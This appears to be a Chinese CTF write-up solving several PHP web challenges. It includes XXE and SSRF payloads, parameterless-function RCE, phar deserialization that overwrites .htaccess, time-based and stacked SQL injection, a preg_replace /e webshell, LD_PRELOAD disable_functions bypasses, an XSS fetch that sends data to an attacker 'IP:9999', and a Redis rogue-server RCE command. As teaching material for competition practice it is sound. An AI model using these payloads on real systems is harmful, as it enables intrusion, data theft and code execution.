九月初的比赛,当时划水了一天半,第二天后面才做了一道题
rss
这题莫得靶机只能列下知识点
这题是一个解析RSS的题,限制只支持aliyun.com、qq.com、baidu.com
。不过由于php是不检查MIME头的,所以可以使用data://baidu.com/plain;base64,
这样去绕过对host的限制,然后后面跟上base64后的RSS文档就行
没用过RSS,但看到RSS的标准文档后,这东西是一种xml,也就是说有可能存在XXE
于是向头部添加一个内部实体
1 | <?xml version="1.0" encoding="UTF-8" ?> |
base64后提交,成功读到/etc/passwd
接着用伪协议去读一下源码
php://filter/read=convert.base64-encode/resource=index.php
1 | <?php |
index.php
中引入了routes.php
,同时有classes和controllers这两个目录
1 | <?php |
route.php
中可以看到有一个接收rss_url和order参数的控制器admin,但需要本地访问,也就是要ssrf
1 | <?php |
controllers/admin.php
访问url并解析xml
1 | <?php |
views/admin.php
主要看到这里
1 | <?php |
这里用了create_function()
,同时$order
可控,直接RCE就是了
由于要求127.0.0.1
,那就用XXE让服务器访问自己。rss_url填个能用的,order命令注入就完事了
payload
1 | <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" > |
boring_code
这题当时是队友分析的,后半天fuzz好久才找到一个能用的payload
进入题目就是一个猛男对视,F12提示flag在index.php
里,同时有个code目录,于是进入code得到源码
1 | <?php |
通过传入的url去读取其目录下的文件,然后执行文件中的内容。逻辑简单但有四层过滤
第一、二层限制了只能使用baidu.com
作为host的链接,如果没有第一层的话是可以通过data://baidu.com/plain;base64,
这样去绕过的,但被限制了。这里绕过的方式有几种,最简单的就是氪金买域名(队里的大佬tfl),或者通过百度的url跳转(百度一下后去看看链接的href就是了),或者百度云
第三层的正则限制了只能左右括号要匹配,同时无参。本来一开始以为是只能像a(b(c()))
这种,但后面发现像a(b())c()
这样也是可以的
第四层就是过滤了一堆函数
当时整出基本思路就是,先整出一个.
,然后用scandir()
扫目录,接着用end()
取到index.php
,最后readfile()
输出。问题就是在怎么搞出.
,一开始想着构造chr(46)
,但弄了很久搞不出46(主要是strlen()
被过滤了)
于是另寻它路,当时不知道怎么fuzz的发现"
也是可以让scandir()
扫该目录下的文件。然后翻手册中的函数尝试
函数和方法列表
fuzz了很久发现,bzcompress()
可以输出各种符号,于是进行多次尝试后,成功得到bzcompress(serialize(array(array(abs()))))
这个输出的字符串最后一位是"
,用strrev()
逆序再用ord()
获得第一个字符的ascii码,chr()
转回来就获得了单个"
,当时给出的payload是readfile(end(scandir(chr(ord(strrev(bzcompress(serialize(array(array(abs()))))))))));
但bzcompress()
需要扩展,这个题目环境并没有,只能找其它方法了
接着尝试了一下crypto()
,发现这个函数是有挺高的几率尾部是.的。于是一波readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
但这时队友提示这里还只是再code目录下,要回到上级目录才能读到
于是就尝试了一下if()
回到上级目录,也就是这里才发现那个正则是a(b())c()
这样匹配的
用同样的方法扫目录,然后next()
读到..
,chdir()
去到上级目录,于是最终的payload就是if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
由于要读两回,几率小了一些
没买域名就改成了localhost
EzCMS
登录进去,可以看到目录下有个.htaccess
,传个图片试试,提示需要admin
于是用admin作为用户名登录进去,但上传还是提示非admin。于是搜集一下信息发现www.zip
给了源码,读一波
index.php
中限制了psw不能为admin
1 | if ($password === "admin"){ |
然后去看一下config.php
中的login()
1 | function login(){ |
基本确定这里要哈希扩展了
然后沿着upload.php
读,读到Profile类
1 | public function is_admin(){ |
这里要求与哈希后的值相等,那就哈希扩展一波
不知长度于是写一波脚本
1 | # -*- coding: utf-8 -*- |
这里真的整傻我了,怎么跑都跑不出来还以为是之前哈希扩展的脚本有问题,后面才发现比较的是cookie中的user,巨坑
能上传后,直接传一句话然而有check
1 | function check(){ |
由于是php7,于是可以用复杂变量绕
1 | <?php |
不过传成功后访问显示500,八成是那个.htaccess
在搞鬼,导致这个目录下php执行不了。那只能想办法在其他目录下执行,或者把这个.htaccess
重写或删掉。由于不知道临时目录在哪,也没有能目录穿越的地方,只能想办法重写或删掉.htaccess
翻一下config.php
,可以看到File类中过滤了phar等一系列协议,同时使用了mine_content_type()
,在SUCTF中也说过,想
1 | public function view_detail(){ |
在SUCTF中也出现过类似的过滤,可以使用php://filter/resource=phar来绕过,而且像mine_content_type()
这种要读取文件的方法大概率都可以用来phar的反序列化,猜测这题是要利用phar反序列化了
接着找一下哪里使用了File类,在view.php
中找到
1 | <?php |
上传再用这里访问就没问题了,于是找链
1 | class Profile{ |
看Profile发现,__call()
中调用了admin的open()
,而config.php
中只有File类有open()
,但File类并没有用到Profile类。那这个“没用”的admin可能是给我们用来反序列化的,于是去内置类中查查看有没有能利用的类有open()
fuzz一下发现这几个类
1 | <?php |
接着去翻一下手册看看
ZipArchive类的open()
可以传入两个参数,第二个参数为打开的模式,当模式为ZIPARCHIVE::OVERWRITE
时会覆盖掉文件
那就是要想办法调用到Profile类的__call()
回到File类,看到__destruct()
1 | function __destruct() |
这里调用了checker的upload_file()
,而Profile类中没有upload_file()
,也就是将checker设置为Profile类就可以调用到__call()
于是构造反序列化
1 | <?php |
执行得到phar文件后上传,在view.php
访问?filename=c45de65f3d56f100e72db6efa4298d62.phar&filepath=php://filter/resource=phar://sandbox/2c67ca1eaeadbdc1868d67003072b481/c45de65f3d56f100e72db6efa4298d62.phar
再访问一下测试的php
执行成功,之后如果再次返回upload.php
的话,需要重新重写一次.htaccess
接着访问之前写好了的php?a=system&b=cd ../../../../../../;ls
?a=system&b=cat /flag
babyblog
注册有一个md5截断,脚本跑一波
进去有发布、编辑、删除、查看四个界面,感觉像是sql注入但是被单引被过滤了。搞了很久没什么想法扫一下发现给了源码www.zip
直接看writing.php
1 | <?php |
这里对title和content都进行了addslashes()
转义
1 | <?php |
index.php
用的是session中的id,基本是利用不了
1 | <?php |
delete.php
将传入的id进行了intval()
,也无法利用
1 | <?php |
不过在edit.php
可以看到,虽然对传入title和content进行了addslashes()
转义,但是通过sql查询得到的row中的数据并没用转义。尽管之前进行过addslashes()
转义,但只是在sql执行时对特殊字符前加一个\
防止当作关键字使用,存入数据库的依旧是原本传入的数据。而这里取出时没转义,那就可以利用这里进行注入
不过就算有注入点,在config.php
中
1 | <?php |
可以看到过滤了一大堆字符
看源码可以知道回显和报错是不可能了,于是考虑一下时间盲注。但是sleep和benchmark都被过滤了,不过查一下可以查到一些神奇的时间盲注方式
MySQL时间盲注五种延时方法 (PWNHUB 非预期解)
这里直接用了里面的rlike注入,这个是依靠大量字符的正则匹配,让数据库无法立即响应导致延时,但我本地怎么测试都是一瞬间就完成的,不过拿到这题上却可以Orz
然后测试了一下select a from b
是不行的,但select(a) from b
可以,于是payload就是
1 | 1' || if((select(length(concat_ws(',',username,password,isvip))) from users limit 1)=38,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0 |
盲注脚本
1 | # -*- coding:utf8 -*- |
一开始还zz地去爆库表,后来突然想到源码里都给了表名了,白白浪费了一堆时间
不过跑出来的结果是只有我的账号???这要咋整?
于是继续搜集信息,发现还有一个replace页面,仅允许vip访问,于是看看源码
1 | <?php |
这里判断数据库中存的vip是否为1,明显我的账号不是1。只能想办法整成1
这里要用到之前没注意过的一个点,在config.php
中可以看到使用了PDO连接数据库。PDO在php5.3后支持多语句查询,这是能够堆叠注入的基础。而看源码可以知道所有的sql查询都是直接拼接入sql语句中的,导致PDO的预编译没起效果,因此可以使用堆叠注入
由于set前存在闭合的引号会被过滤,不能直接update,这里要用点小技巧。mysql支持预处理语句,预处理语句起着防止源码泄露后导致数据库结构的作用。预处理的主要用到三个语句
1 | PREPARE stmt_name FROM preparable_stmt; |
PREPARE
用于设定好语句放入stmt_name
,EXCUTE
对应赋值并执行stmt_name
,最后一个语句是用来解除掉预处理的,也就是如果解除掉stmt_name
的预处理的话,用EXCUTE
去执行就会报错
要使用预处理,就要用preparable_stmt
为stmt_name
赋值,preparable_stmt
可以直接是一个字符串,也可以是一个变量。而mysql中可以通过set @
来设置一个临时变量,而mysql是在语句中可以解析16进制的,于是我们可以将语句转为16进制后赋给一个变量,然后放入预处理中执行
于是payload就是';set @sql=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d2761616161273b;prepare a from @sql;execute a;#
获得vip权限后读replace.php
1 | if(isset($_POST['find']) && isset($_POST['replace']) && isset($_POST['id'])){ |
可以看到里面使用了preg_replace()
,这里直接拼接的参数都是可控的,那我们就可以控制为使得正则表达式为//e
以达到命令执行(需要php版本<5.6),这里还要用%00
截断(需要php版本<5.3.4)一下后面的/
于是尝试去获得phpinfo
id=2&find=%2Fe%00&replace=phpinfo();®ex=1
成功获得,于是直接扔一个shell上去file_put_contents('/var/www/html/xxx.php','<?php eval($_GET[\'cmd\']);?>');
接着用system()
去读一下根目录
被禁用,于是去查查看phpinfo()
system等一系列系统函数都被禁用了,于是用scandir()
扫
在扫上级目录时返回了提示open_basedir
,再去看phpinfo()
设置了open_basedir
,于是又要绕一波,不过由于ini_set()
也被禁用了,要寻找其它绕过方式,这里整合了很多绕过的技巧
这里用DirectoryIterator+glob://
的方法扫一下根目录cmd=$c = $_GET['c'];$a = new DirectoryIterator($c);foreach($a as $f){echo($f->__toString().'<br>');}&c=glob:///*
可以看到有readflag,但DirectoryIterator+glob://
并不能执行命令,这里可以使用LD_PRELOAD + error_log()
来绕(SUCTF说过的fpm好像也行,不过不知道题目环境有没有开就没弄了)
具体原理看这Bypass Disable_function
简单来说就是LD_PRELOA
D可以设置预加载的共享库文件,当设置了后这个共享库文件的优先级甚至会大于libc.so
,当共享库文件中有和libc.so
一样的函数名的函数时,优先使用共享库文件中的函数
通过这种方式直接去修改底层的函数,控制某个php方法的执行,这样就可以不使用system()
之类的方法也能达到命令执行。不过要预加载共享库文件,需要新开一个进程加载,这里原文的作者找到了mail()
以及error_log()
能够开启新进程
这里用构造器来写就可以不用去改已有的内置函数防止出错
1 | #include <stdlib.h> |
gcc -shared flag.c -o flag.so
生成共享库文件后用菜刀上传
最后执行一下?cmd=putenv("LD_PRELOAD=/var/www/html/flag.so");error_log("",1,"","");
然而buu上的readflag需要计算
于是使用一些其它操作,先检查一下服务器上有没有perlperl -v > /var/www/html/i.txt
有安装perl,看这个readflag的输出感觉和*ctf有一题应该时一样的,于是拿当时的官方exp
1 | use strict; |
然后执行输出perl /var/www/html/a.pl > /var/www/html/b.html
再访问一下
这里记得要用html或者其它能显示的,一开始用了txt什么都显示不出来,查了别人的wp后才发现txt要下载才能看到,之前的就已经打出来了,真的傻了
还有那个盲注的部分,实际上还能用这个payload进行布尔盲注1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>200) ^ '1
这个payload正确的情况下是会所有文章都改成一样,可以通过这个逻辑去判断。实际上我的那个payload当错误时也会全改,不过判断时间简单点,虽然有点久
icloudmusic
这题唯一解的W&M战队的大佬说是漏洞危害不公开wp,也没有环境分析,就先放着吧(好像是SUCTF那道改的题)
DOT_server_prove
这题也没有靶机,看wp记录几点疑问以及自己的见解
首先是parse文件,放入IDA分析后
大佬通过函数名就判断出了这是go的二进制文件,这个真的学不会,以后能弄到go的二进制文件再来比对看看【整完hgame那题后也许这种映引入大量库的大概率是go?
然后是dot server
,见这篇
如何开发打点统计系统
就是通过nginx日志(或者通过其它方式)获得入站信息并统计
接着是这条命令对nginx日志的处理cat /tmp/test.txt | awk -F ' "' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt
读取/tmp/test.txt
中的信息,然后以"
将每行分隔为多列,并取最后一列的数据写入/tmp/data.txt
,最后清空/tmp/test.txt
而nginx日志是(access.log)
1 | 10.1.1.1 - - |
处理之后应该是
1 | 10.1.1.1 - - |
剩余访问时间和UA
由于可以通过查看题目的源码发现
1 | var ajax = new XMLHttpRequest(); |
于是使用这个url的UA进行XSS,通过回弹的消息的RFF得到来自8080端口
fetch('http://127.0.0.1:8080').then(r=>r.text()).then(d=>{fetch('http://IP:9999/'+btoa(d))})
访问打页面源码,提示的robots.txt
中提示了curl.php
,能够进行SSRF。扫描发现6379端口开着
这里需要利用Redis的RCE漏洞
Redis(<=5.0.5) RCE
这样执行python3 redis-rogue-server.py --rhost=target_ip --lhost=vps_ip --exp=exp.so
不过由于要通过XSS打,所以要抓流量,然后再通过XSS打过去。一共三段流量,第一二段之间需要停顿3秒左右保证文件同步完成